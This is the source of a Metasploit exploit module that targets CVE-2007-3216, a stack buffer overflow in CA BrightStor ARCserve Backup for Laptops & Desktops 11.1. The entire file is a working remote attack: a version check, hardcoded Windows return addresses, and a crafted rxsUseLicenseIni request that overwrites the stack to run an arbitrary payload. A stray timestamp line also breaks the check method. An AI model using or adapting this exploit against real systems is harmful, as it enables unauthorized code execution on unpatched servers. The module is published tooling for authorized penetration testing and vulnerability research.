metasploit-framework/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
attacker could overflow the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-3216' ],
[ 'OSVDB', '35329' ],
[ 'BID', '24348' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
],
'DisclosureDate' => 'Jun 6 2007',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(1900) ], self.class)
end
def check
connect
sock.put("0000000019rxrGetServerVersion")
ver = sock.get_once
disconnect
2012-06-04 22:26:15 +00:00
if ( ver and ver =~ /11.1.742/ )
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
data = rand_text_alpha_upper(4108) + [target.ret].pack('V')
data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)
sploit = "0000004820" # Command Length Field
sploit << "rxsUseLicenseIni" # RPC Command
sploit << "~~" # Constant Argument Delimiter
sploit << data
print_status("Trying target #{target.name}...")
# One-shot overwrite...
sock.put(sploit)
handler
disconnect
end
end